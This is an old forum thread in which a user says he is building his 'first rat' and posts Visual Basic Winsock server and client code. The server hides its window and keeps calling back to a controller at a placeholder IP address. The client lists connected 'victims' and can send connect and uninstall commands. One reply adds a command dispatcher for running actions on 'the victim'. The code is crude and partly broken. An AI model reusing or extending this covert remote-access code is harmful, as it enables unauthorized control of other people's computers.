Help conection

Discussion in 'Programming General' started by kridan500, May 11, 2008.

Help conection
  1. Unread #1 - May 11, 2008 at 1:24 AM
  2. kridan500
    Joined:
    Feb 11, 2007
    Posts:
    217
    Referrals:
    1
    Sythe Gold:
    0

    kridan500 Active Member
    Banned

    Help conection

    Hello im making my first rat(education purpose only:p)
    And iv downloaded the conect code but how do i make it make things on the other computer.
    Lets say i whanna make it make a message i type msgbox"lol"
    But what code around?

    Here comes the code(in the server iv took away a vrusial bit so n3wbs wont hack peeps.)

    server:
    Code:
    Dim LocalPrt As Integer
    Dim Sin As String
    Dim SinPort As Integer
    Private Sub Form_Load()
    Me.Hide
    LocalPrt = 2001
    Sin = "ipxxxxxxx"
    SinPort = 2000
    End Sub
    
    Private Sub Timer1_Timer()
    If Winsock1.State <> sckConnected Then
    Winsock1.Close
    Winsock1.Connect Sin, SinPort
    End If
    If Winsock1.State = sckConnected And sckmain.State <> sckConnected Then
    sckmain.Close
    sckmain.Connect Sin, LocalPrt
    End If
    End Sub
    Private Sub Winsock1_Close()
    Winsock1.Close
    Winsock1.Connect Sin, SinPort
    End Sub
    Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim s As String
    Winsock1.GetData s
    
    If s = "cnect" Then
    MsgBox "Connected !"
    Winsock1.SendData Str(LocalPrt)
    Timer1.Enabled = True
    End If
    End Sub
    Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    Winsock1.Close
    End Sub
    

    client:

    Code:
    Dim noc As Integer
    Dim cn As Integer, cl As Integer
    Dim ConnectPort As Integer
    
    Private Sub Command1_Click()
      tmrMousPos.Enabled = False
    If Winsock1.State = sckConnected Then Winsock1.MsgBox "lol"
    tmrMousPos.Enabled = True
    End Sub
    
    
    Private Sub Form_Load()
    noc = 0
    Call wslisten
    End Sub
    Function wslisten()
    On Error Resume Next
    noc = noc + 1
    Load Winsock1(noc)
    Winsock1(noc).LocalPort = 2000
    Winsock1(noc).Listen
    End Function
    
    Private Sub Frame1_DragDrop(Source As Control, X As Single, Y As Single)
    
    End Sub
    
    Private Sub List1_DblClick()
    Dim i As Integer
    For i = Winsock1.LBound To Winsock1.UBound
        If getIndexAvailability(Winsock1, i) = False Then GoTo nexti
        If List1.Text = Winsock1(i).RemoteHostIP Then
            If Winsock1(i).State = sckConnected Then
              Winsock1(i).SendData "cnect"
              cn = i
              Exit Sub
            Else
                For j = 0 To List1.ListCount - 1
                    List1.Selected(j) = True
                    If List1.Text = Winsock1(i).RemoteHostIP Then
                        List1.RemoveItem (j)
                        List1.Refresh
                        Unload Winsock1(i)
                    Exit Sub
                    End If
                Next
                Call wslisten
            End If
        End If
    nexti:
    Next
    End Sub
    Function getIndexAvailability(ctlArr As Object, intIndex As Integer) As Boolean
        On Error GoTo errHandeler
     
        Dim X As Integer
     
        X = ctlArr(intIndex).Index
     
        getIndexAvailability = True
     
        Exit Function
     
    errHandeler:
        getIndexAvailability = False
    End Function
    Private Sub List1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
    If Button = 2 Then
    PopupMenu mnu
    End If
    End Sub
    Private Sub mnuconnect_Click()
    Call List1_DblClick
    End Sub
    Private Sub mnuuninstall_Click()
    Dim i As Integer
    For i = Winsock1.LBound To Winsock1.UBound
        If getIndexAvailability(Winsock1, i) = False Then GoTo nexti
        If List1.Text = Winsock1(i).RemoteHostIP Then
            If Winsock1(i).State = sckConnected Then
              Winsock1(i).SendData "unin"
              For j = 0 To List1.ListCount - 1
                    List1.Selected(j) = True
                    If List1.Text = Winsock1(i).RemoteHostIP Then
                        List1.RemoveItem (j)
                        List1.Refresh
                        cl = i
                        Timer1.Enabled = True
                        'Unload Winsock1(i)
                    Exit Sub
                    End If
                Next
              Exit Sub
            End If
        End If
    nexti:
    Next
    End Sub
    
    Private Sub Timer1_Timer()
    Unload Winsock1(cl)
    Timer1.Enabled = False
    End Sub
    
    Private Sub Winsock1_ConnectionRequest(Index As Integer, ByVal requestID As Long)
    Winsock1(noc).Close
    Winsock1(noc).Accept requestID
    Call listit
    Call wslisten
    End Sub
    Function listit()
    If List1.ListCount = 0 Then List1.AddItem Winsock1(noc).RemoteHostIP
    For i = 0 To List1.ListCount - 1
        List1.Selected(i) = True
        If List1.Text <> Winsock1(noc).RemoteHostIP Then
            List1.AddItem Winsock1(noc).RemoteHostIP
        End If
    Next
    End Function
    Private Sub Winsock1_DataArrival(Index As Integer, ByVal bytesTotal As Long)
    Dim s As String
    Winsock1(cn).GetData s
    ConnectPort = Val(s)
    Winsock2.Close
    Winsock2.LocalPort = ConnectPort
    Winsock2.Listen
    End Sub
    Private Sub Winsock2_ConnectionRequest(ByVal requestID As Long)
    Winsock2.Close
    Winsock2.Accept requestID
    MsgBox "Connected to : " + Winsock2.RemoteHostIP
    End Sub
    Private Sub Winsock2_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    Winsock2.Close
    End Sub
    
     
  3. Unread #2 - May 11, 2008 at 2:20 AM
  4. Covey
    Joined:
    Sep 9, 2005
    Posts:
    4,510
    Referrals:
    9
    Sythe Gold:
    9
    Discord Unique ID:
    807246764155338833
    Discord Username:
    Covey#1816

    Covey Creator of EliteSwitch
    Retired Sectional Moderator Visual Basic Programmers

    Help conection

    I tried using winsock to send data to and from other computers.
    It seems to work fine when you test it on your own computer. But as soon as you try to connect via a LAN or the Internet it doesn't work. Several other people have had this problem and i've never had an important enough project to look into it more thoroughly.

    So basically what im saying is i can't help you :p
     
  5. Unread #3 - May 11, 2008 at 2:30 AM
  6. kridan500
    Joined:
    Feb 11, 2007
    Posts:
    217
    Referrals:
    1
    Sythe Gold:
    0

    kridan500 Active Member
    Banned

    Help conection

    plz some1 whats the code?
     
  7. Unread #4 - May 11, 2008 at 10:26 AM
  8. jdsfighter
    Joined:
    Jan 21, 2007
    Posts:
    603
    Referrals:
    0
    Sythe Gold:
    0

    jdsfighter Forum Addict
    Visual Basic Programmers

    Help conection

    Covey the reason winsock has problems connecting to different computers is a lot of times the people's routers or modems don't have that port opened for use and if that port isn't opened, then your not getting through. Now what I do is I have a three part system. 2 Clients and a server. The server goes on a central system that both computers connect to. Then one sends commands to the server and the other has the server send them back.
     
  9. Unread #5 - May 11, 2008 at 11:15 AM
  10. kridan500
    Joined:
    Feb 11, 2007
    Posts:
    217
    Referrals:
    1
    Sythe Gold:
    0

    kridan500 Active Member
    Banned

    Help conection

    why cant you just give me the code u put?
    So u can do things
     
  11. Unread #6 - May 11, 2008 at 11:41 AM
  12. Jazz00006
    Joined:
    Aug 26, 2005
    Posts:
    807
    Referrals:
    0
    Sythe Gold:
    0

    Jazz00006 Apprentice
    Visual Basic Programmers

    Help conection

    ... Bloody leechers. Instead of asking for code or source, try asking for tips/sites. You'll learn a lot more instead of leeching someones code and then asking a thousand questions on how to set it up
     
  13. Unread #7 - May 11, 2008 at 3:19 PM
  14. kridan500
    Joined:
    Feb 11, 2007
    Posts:
    217
    Referrals:
    1
    Sythe Gold:
    0

    kridan500 Active Member
    Banned

    Help conection

    I am but plz cant just some1 tell me how to make it do something on others computer?
    Like msgbox"lol"?
    in that code plz!
     
  15. Unread #8 - May 12, 2008 at 4:49 PM
  16. jdsfighter
    Joined:
    Jan 21, 2007
    Posts:
    603
    Referrals:
    0
    Sythe Gold:
    0

    jdsfighter Forum Addict
    Visual Basic Programmers

    Help conection

    You can't just execute code on their computer.

    This is how you do it.

    You need the client (the thing that connects to the victim), to send a command such as "msgbox|lol" to the victim.

    Then when the victim recieves commands you need to do something like

    Code:
    Private Sub ProcessCmd(sText as string)
    Dim sCommand as string
    sCommand=Mid(sText,1,instr(1,sText,"|"))
    Select Case lcase(sCommand)
    Case "msgbox": msgbox mid(sText,instr(1,sText,"|")+1)
    End Select
    
    I just typed all that out on here so I don't know whether or not it will work, but it should.
     
  17. Unread #9 - May 13, 2008 at 1:31 PM
  18. kridan500
    Joined:
    Feb 11, 2007
    Posts:
    217
    Referrals:
    1
    Sythe Gold:
    0

    kridan500 Active Member
    Banned

    Help conection

    Kan u put it in my code?
    Im only a noob but trying to learn plz:D
    Thank you for first help!:D:D:D:D
     
  19. Unread #10 - May 13, 2008 at 6:40 PM
  20. demonavenger
    Joined:
    Feb 25, 2007
    Posts:
    536
    Referrals:
    0
    Sythe Gold:
    0

    demonavenger Forum Addict
    $5 USD Donor

    Help conection

    ^ A Noob :) ^

    Firstly... nice copy paste there, with all that coding above... You have no clue with VB do you?

    You should take jazz's tip, and learn it yourself so you can put it in your own code, and also learn what every command does... :eek:
     
< Visual Basic 2008 Highscore grabber... | Grabbing things of a website such as runescape? >

Users viewing this thread
1 guest


 
 
Adblock breaks this site